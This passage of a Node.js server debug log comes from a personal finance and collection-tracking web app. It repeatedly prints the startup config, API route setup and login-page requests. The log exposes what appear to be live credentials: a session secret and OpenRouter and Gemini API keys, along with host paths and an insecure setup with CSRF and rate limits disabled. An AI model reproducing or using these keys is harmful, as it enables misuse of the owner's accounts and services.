    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=ef5ebc026dd3a5f9d8449ec305acdcea4f38cb6e.1781453948.1',
    'HTTP_X_FORWARDED-FOR': '34.72.176.129',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T15:20:25.160Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T15:20:25.330Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T15:20:25.415Z server-connect:setup:upload Upload middleware configured.
2026-06-14T15:20:25.415Z server-connect:secure CSRF Protection initialized
2026-06-14T15:20:25.417Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T15:20:25.419Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T15:20:25.419Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T15:20:25.420Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T15:20:25.420Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T15:20:25.421Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T15:20:25.422Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T15:20:25.422Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T15:20:25.425Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T15:20:25.426Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T15:20:25.426Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T15:20:25.426Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T15:20:25.427Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T15:20:25.427Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T15:20:25.427Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T15:20:25.428Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T15:20:25.428Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T15:20:25.428Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T15:20:25.429Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T15:20:25.430Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T15:20:25.430Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T15:20:25.431Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T15:20:25.431Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T15:20:25.431Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T15:20:25.431Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T15:20:25.432Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T15:20:25.432Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T15:20:25.432Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T15:20:25.432Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T15:20:25.432Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T15:20:25.433Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T15:20:25.434Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T15:20:25.434Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T15:20:25.535Z server-connect:router Serving templateView /
2026-06-14T15:20:25.536Z server-connect:app Executing action step identify
2026-06-14T15:20:25.536Z server-connect:app options: { provider: 'security' }
2026-06-14T15:20:25.538Z server-connect:auth No login cookie found
2026-06-14T15:20:25.538Z server-connect:output identity: false
2026-06-14T15:20:25.538Z server-connect:app Executing action step restrict
2026-06-14T15:20:25.538Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T15:20:25.542Z server-connect:output restrict: undefined
2026-06-14T15:20:25.697Z server-connect:router Serving templateView /login
2026-06-14T15:20:25.697Z server-connect:app Executing action step identify
2026-06-14T15:20:25.698Z server-connect:app options: { provider: 'security' }
2026-06-14T15:20:25.698Z server-connect:auth No login cookie found
2026-06-14T15:20:25.698Z server-connect:output identity: false
2026-06-14T15:20:25.698Z server-connect:router Render template layouts/authentication
2026-06-14T15:20:25.699Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'Keep-Alive',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.240',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T15:20:25.695Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.240',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'Keep-Alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.240',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T15:20:34.133Z server-connect:router Serving templateView /
2026-06-14T15:20:34.133Z server-connect:app Executing action step identify
2026-06-14T15:20:34.133Z server-connect:app options: { provider: 'security' }
2026-06-14T15:20:34.134Z server-connect:auth No login cookie found
2026-06-14T15:20:34.134Z server-connect:output identity: false
2026-06-14T15:20:34.134Z server-connect:app Executing action step restrict
2026-06-14T15:20:34.134Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T15:20:34.134Z server-connect:output restrict: undefined
2026-06-14T15:20:34.282Z server-connect:router Serving templateView /login
2026-06-14T15:20:34.282Z server-connect:app Executing action step identify
2026-06-14T15:20:34.282Z server-connect:app options: { provider: 'security' }
2026-06-14T15:20:34.283Z server-connect:auth No login cookie found
2026-06-14T15:20:34.283Z server-connect:output identity: false
2026-06-14T15:20:34.283Z server-connect:router Render template layouts/authentication
2026-06-14T15:20:34.283Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.240',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T15:20:34.282Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.240',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.240',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T23:22:01.532Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T23:22:03.739Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T23:22:04.665Z server-connect:setup:upload Upload middleware configured.
2026-06-14T23:22:04.665Z server-connect:secure CSRF Protection initialized
2026-06-14T23:22:04.670Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T23:22:04.673Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T23:22:04.674Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T23:22:04.676Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T23:22:04.684Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T23:22:04.685Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T23:22:04.701Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T23:22:04.714Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T23:22:04.717Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T23:22:04.720Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T23:22:04.724Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T23:22:04.727Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T23:22:04.733Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T23:22:04.742Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T23:22:04.747Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T23:22:04.754Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T23:22:04.756Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T23:22:04.761Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T23:22:04.766Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T23:22:04.770Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T23:22:04.772Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T23:22:04.779Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T23:22:04.782Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T23:22:04.787Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T23:22:04.790Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T23:22:04.793Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T23:22:04.795Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T23:22:04.797Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T23:22:04.802Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T23:22:04.805Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T23:22:04.807Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T23:22:04.809Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T23:22:04.812Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T23:22:04.816Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T23:22:04.822Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T23:22:04.825Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T23:22:04.828Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T23:22:04.837Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T23:22:05.325Z server-connect:router Serving templateView /
2026-06-14T23:22:05.327Z server-connect:app Executing action step identify
2026-06-14T23:22:05.328Z server-connect:app options: { provider: 'security' }
2026-06-14T23:22:05.329Z server-connect:auth No login cookie found
2026-06-14T23:22:05.330Z server-connect:output identity: false
2026-06-14T23:22:05.330Z server-connect:app Executing action step restrict
2026-06-14T23:22:05.330Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T23:22:05.333Z server-connect:output restrict: undefined
2026-06-15T06:04:36.424Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T06:04:38.697Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T06:04:39.558Z server-connect:setup:upload Upload middleware configured.
2026-06-15T06:04:39.558Z server-connect:secure CSRF Protection initialized
2026-06-15T06:04:39.565Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T06:04:39.566Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T06:04:39.567Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T06:04:39.569Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T06:04:39.578Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T06:04:39.579Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T06:04:39.594Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T06:04:39.607Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T06:04:39.610Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T06:04:39.613Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T06:04:39.614Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T06:04:39.618Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T06:04:39.624Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T06:04:39.635Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T06:04:39.637Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T06:04:39.710Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T06:04:39.711Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-15T06:04:39.716Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T06:04:39.722Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T06:04:39.726Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T06:04:39.728Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T06:04:39.736Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T06:04:39.736Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T06:04:39.743Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T06:04:39.745Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T06:04:39.749Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T06:04:39.751Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T06:04:39.753Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T06:04:39.759Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T06:04:39.762Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T06:04:39.762Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T06:04:39.765Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T06:04:39.772Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T06:04:39.772Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T06:04:39.778Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T06:04:39.782Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T06:04:39.784Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T06:04:39.794Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T09:32:22.176Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T09:32:24.448Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T09:32:25.311Z server-connect:setup:upload Upload middleware configured.
2026-06-15T09:32:25.312Z server-connect:secure CSRF Protection initialized
2026-06-15T09:32:25.317Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T09:32:25.317Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T09:32:25.320Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T09:32:25.323Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T09:32:25.328Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T09:32:25.334Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T09:32:25.347Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T09:32:25.360Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T09:32:25.362Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T09:32:25.365Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T09:32:25.367Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T09:32:25.371Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T09:32:25.376Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T09:32:25.386Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T09:32:25.390Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T09:32:25.463Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T09:32:25.464Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-15T09:32:25.470Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T09:32:25.474Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T09:32:25.478Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T09:32:25.480Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T09:32:25.488Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T09:32:25.490Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T09:32:25.498Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T09:32:25.500Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T09:32:25.504Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T09:32:25.507Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T09:32:25.507Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T09:32:25.515Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T09:32:25.515Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T09:32:25.518Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T09:32:25.518Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T09:32:25.523Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T09:32:25.525Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T09:32:25.531Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T09:32:25.535Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T09:32:25.537Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T09:32:25.546Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T13:04:44.102Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
